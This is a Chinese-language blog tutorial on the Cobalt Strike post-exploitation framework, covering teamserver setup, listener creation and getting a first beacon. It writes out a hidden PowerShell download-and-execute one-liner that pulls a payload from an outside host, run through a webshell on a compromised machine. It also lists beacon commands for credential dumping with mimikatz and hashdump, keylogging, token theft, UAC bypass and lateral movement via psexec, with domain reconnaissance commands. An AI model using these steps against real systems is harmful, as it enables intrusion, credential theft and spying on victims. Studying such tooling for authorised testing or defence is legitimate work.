Cobalt Strike使用教程

Cobalt Strike使用教程

1.CS简介

​ Cobalt Strike是一款渗透测试神器,常被业界人称为CS神器,是域渗透,内网渗透,内网漫游,后渗透手段利器,但前提是获得一台主机的shell。早期版本CobaltSrtike依赖Metasploit框架,而现在Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端(Client)与服务端(Teamserver),服务端是一个,客户端可以有多个,团队可进行分布式协团操作

​ Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。

网络攻击链模型

Cobalt Strike使用教程_第1张图片

2.安装教程

备注:Cobalt Strike需要Oracle Java 1.8,Oracle Java 11或OpenJDK 11的环境

查看是否有java环境

java -version

一般kail中有这个环境,无需安装,如果没有,使用以下命令

apt install openjdk-11-jdk

进入Cobalt Strike目录中

一般Cobalt Strike目录结构如下:

Cobalt Strike使用教程_第2张图片

agscript 拓展应用的脚本
c2lint 用于检查profile的错误异常
teamserver 服务端程序
cobaltstrike,cobaltstrike.jar客户端程序(java跨平台)
license.pdf 许可证文件
logs 目录记录与目标主机的相关信息 
update,update.jar用于更新CS 
third-party 第三方工具

启动服务器

默认没有执行权限,需要加个权限

chmod +x teamserver

运行

./teamserver 192.168.1.135 123456		
./teamserver <你的ip> <密码>

启动客户端

Linux运行

./start.sh

Windows运行start.bat

之后输入你服务端的ip以及刚才的密码,账号随便输入,界面如图:

Cobalt Strike使用教程_第3张图片

Cobalt Strike使用教程_第4张图片

3.功能简介

1.获取第一个beacon

beacon就是’'信标",“灯塔”, 获取第一个上线主机

1.生成监听器

监听"信标",等待"信标"回连,向"信标"传送指令

Cobalt Strike/Listerners/add		#都是客户端中的按钮

点击add后如图,一般选择payload为HTTP,端口改一下,Name名字自己取,点击save

Cobalt Strike使用教程_第5张图片

2.生成上线命令

生成木马,可以是文件或者命令

Attacks/web Drive-by/Scripted Web Delivery		#都是客户端中的按钮

此时连接最初拿到的shell,用蚁剑终端执行

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.135:80/b'))"	

Cobalt Strike使用教程_第6张图片

此时如图显示,表示看到已上线

Cobalt Strike使用教程_第7张图片

3.上线成功

Cobalt Strike使用教程_第8张图片

4.常用命令

1.基本beacon管理

interact 	进入命令模式
Note 		标注
Exit 		退出
Remove		移除
sleep		心跳时间

2.查看帮助信息

Beacon Commands
===============
 
    Command                   Description
    -------                   -----------
    argue                     进程参数欺骗
    blockdlls                 在子进程中阻止非Microsoft的DLLs文件
    browserpivot              注入受害者浏览器进程
    bypassuac                 绕过UAC
    cancel                    取消正在进行的下载
    cd                        切换目录
    checkin                   强制让被控端回连一次
    clear                     清除beacon内部的任务队列
    connect                   通过TCP连接到Beacon
    covert                 部署Covert VPN客户端
    cp                        复制文件
    dcsync                    从DC中提取密码哈希
    desktop                   远程VNC
    dllinject                 反射DLL注入进程
    dllload                   使用LoadLibrary将DLL加载到进程中
    download                  下载文件
    downloads                 列出正在进行的文件下载
    drives                    列出目标盘符
    elevate                   尝试提权
    execute                   在目标上执行程序(无输出)
    execute-assembly          在目标上内存中执行本地.NET程序
    exit                      退出beacon
    getprivs                  对当前令牌启用系统权限
    getsystem                 尝试获取SYSTEM权限
    getuid                    获取用户ID
    hashdump                  转储密码哈希值
    help                      帮助
    inject                    在特定进程中生成会话
    jobkill                   杀死一个后台任务
    jobs                      列出后台任务
    kerberos_ccache_use       从ccache文件中导入票据应用于此会话
    kerberos_ticket_purge     清除当前会话的票据
    kerberos_ticket_use       从ticket文件中导入票据应用于此会话
    keylogger                 键盘记录
    kill                      结束进程
    link                      通过命名管道连接到Beacon
    logonpasswords            使用mimikatz转储凭据和哈希值
    ls                        列出文件
    make_token                创建令牌以传递凭据
    mimikatz                  运行mimikatz
    mkdir                     创建一个目录
    mode dns                  使用DNS A作为通信通道(仅限DNS beacon)
    mode dns-txt              使用DNS TXT作为通信通道(仅限D beacon)
    mode dns6                 使用DNS AAAA作为通信通道(仅限DNS beacon)
    mode http                 使用HTTP作为通信通道
    mv                        移动文件
    net                       net命令
    note                      给当前目标机器备注       
    portscan                  进行端口扫描
    powerpick                 通过Unmanaged PowerShell执行命令
    powershell                通过powershell.exe执行命令
    powershell-import         导入powershell脚本
    ppid                      为生成的post-ex任务设置父PID
    ps                        显示进程列表
    psexec                    使用服务在主机上生成会话
    psexec_psh                使用PowerShell在主机上生成会话
    psinject                  在特定进程中执行PowerShell命令
    pth                       使用Mimikatz进行传递哈希
    pwd                       当前目录位置
    reg                       查询注册表
    rev2self                  恢复原始令牌
    rm                        删除文件或文件夹
    rportfwd                  端口转发
    run                       在目标上执行程序(返回输出)
    runas                     以另一个用户权限执行程序
    runasadmin                在高权限下执行程序
    runu                      在另一个PID下执行程序
    screenshot                屏幕截图
    setenv                    设置环境变量
    shell                     cmd执行命令
    shinject                  将shellcode注入进程
    shspawn                   生成进程并将shellcode注入其中
    sleep                     设置睡眠延迟时间
    socks                     启动SOCKS4代理
    socks stop                停止SOCKS4
    spawn                     生成一个会话 
    spawnas                   以其他用户身份生成会话
    spawnto                   将可执行程序注入进程
    spawnu                    在另一个PID下生成会话
    ssh                       使用ssh连接远程主机
    ssh-key                   使用密钥连接远程主机
    steal_token               从进程中窃取令牌
    timestomp                 将一个文件时间戳应用到另一个文件
    unlink                    断开与Beacon的连接
    upload                    上传文件
    wdigest                   使用mimikatz转储明文凭据
    winrm                     使用WinRM在主机上生成会话              

3.获取当前用户权限

getuid

Cobalt Strike使用教程_第9张图片

4.文件管理

建议在图形化界面操作

beacon/右键/Explore/File Browser

Cobalt Strike使用教程_第10张图片

5.进程管理

beacon/右键/Explore/Process List

Cobalt Strike使用教程_第11张图片

6.屏幕截图

beacon/右键/Explore/Screenshots

查看截图

View/Screenshots

7.桌面控制

beacon/右键/Explore/Desktop(VNC)

8.键盘记录

beacon/右键/Explore/Process List/Log Keystrokes

查看记录

View/Keystrokes

5.内网信息收集

1.主机存活和端口扫描

beacon/右键/Explore/Port Scan

Cobalt Strike使用教程_第12张图片

Cobalt Strike使用教程_第13张图片

查看主机信息

view/Targets

2.域信息收集

net computer				#列出域内主机
net dclist					#列出所有域控服务器
net domain					#列出域名
net domain_controllers		#列出域控服务器
net domain_trusts			#列出可信任主机
net localgroup				#列出本地组
net sessions				#列出会话
net logons					#查看域中已登录账号
net share					#查看域内共享
net time					#查看时间
net user 					#查看用户
net view					

6.主机账号信息收集

1.直接导出账号hash值

hashdump

2.直接导出账号密码

(需要system权限)

logonpasswords

7.内网漫游

psexec SMB服务

你可能感兴趣的:(内网渗透,工具使用,web安全)